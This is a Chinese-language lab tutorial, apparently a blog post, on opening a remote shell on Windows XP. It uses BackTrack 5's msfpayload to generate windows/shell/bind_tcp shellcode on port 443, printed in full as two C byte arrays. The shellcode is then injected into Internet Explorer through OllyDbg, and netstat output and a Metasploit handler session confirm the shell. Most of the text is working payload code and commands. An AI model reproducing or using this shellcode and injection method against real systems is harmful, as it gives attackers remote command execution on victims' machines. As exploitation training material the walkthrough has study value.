利用bt5和ollydbg来打开XP的shell
先产生shellcode：
root@bt:~# msfpayload windows/shell/bind_tcp LPORT=443 C /* * windows/shell/bind_tcp - 298 bytes (stage 1) * http://www.metasploit.com * VERBOSE=false, LPORT=443, RHOST=, EXITFUNC=process, * InitialAutoRunScript=, AutoRunScript= */ unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2" "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85" "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3" "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d" "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58" "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b" "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68" "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01" "\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50" "\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31" "\xdb\x53\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56\x57\x68\xc2" "\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53" "\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97\x68\x75\x6e\x4d" "\x61\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff" "\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58" "\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9" "\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3"; /* * windows/shell/bind_tcp - 240 bytes (stage 2) * http://www.metasploit.com */ unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2" "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85" "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3" "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d" "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58" "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b" "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x63\x6d\x64\x00\x89" "\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44" "\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56" "\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5" "\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb" "\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a" "\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"; root@bt:~#
然后在XP里打开ollydbg，ollydbg打开IE。IE位于C:\Program Files\Internet Explorer
然后，先选中大概300行左右的汇编代码，把第一阶段的shellcode复制过去，并在最后加几个断点，结果如图：
打开cmd，输入命令：
C:\>netstat -an Active Connections Proto Local Address Foreign Address State TCP 0.0.0.0:135 0.0.0.0:0 LISTENING TCP 0.0.0.0:445 0.0.0.0:0 LISTENING TCP 0.0.0.0:2869 0.0.0.0:0 LISTENING TCP 127.0.0.1:1033 0.0.0.0:0 LISTENING TCP 192.168.1.142:139 0.0.0.0:0 LISTENING TCP 192.168.1.142:1026 118.214.215.117:80 CLOSE_WAIT TCP 192.168.1.142:1029 118.214.215.117:80 CLOSE_WAIT UDP 0.0.0.0:445 *:* UDP 0.0.0.0:500 *:* UDP 0.0.0.0:1025 *:* UDP 0.0.0.0:4500 *:* UDP 127.0.0.1:123 *:* UDP 127.0.0.1:1038 *:* UDP 127.0.0.1:1900 *:* UDP 192.168.1.142:123 *:* UDP 192.168.1.142:137 *:* UDP 192.168.1.142:138 *:* UDP 192.168.1.142:1900 *:*
然后ollydbg里运行，再查看端口：
C:\>netstat -an Active Connections Proto Local Address Foreign Address State TCP 0.0.0.0:135 0.0.0.0:0 LISTENING TCP 0.0.0.0:443 0.0.0.0:0 LISTENING TCP 0.0.0.0:445 0.0.0.0:0 LISTENING TCP 0.0.0.0:2869 0.0.0.0:0 LISTENING TCP 127.0.0.1:1033 0.0.0.0:0 LISTENING TCP 192.168.1.142:139 0.0.0.0:0 LISTENING TCP 192.168.1.142:1026 118.214.215.117:80 CLOSE_WAIT TCP 192.168.1.142:1029 118.214.215.117:80 CLOSE_WAIT UDP 0.0.0.0:445 *:* UDP 0.0.0.0:500 *:* UDP 0.0.0.0:1025 *:* UDP 0.0.0.0:4500 *:* UDP 127.0.0.1:123 *:* UDP 127.0.0.1:1038 *:* UDP 127.0.0.1:1900 *:* UDP 192.168.1.142:123 *:* UDP 192.168.1.142:137 *:* UDP 192.168.1.142:138 *:* UDP 192.168.1.142:1900 *:*
看到443端口已经打开了。
接着，在BT5里面运行metasploit：

到这一步时，回到XP，ollydbg已经运行到断点了，按一下“run”，在看看BT5：
msf exploit(handler) > exploit [*] Started bind handler [*] Starting the payload handler...

打开了一个shell。
成功。
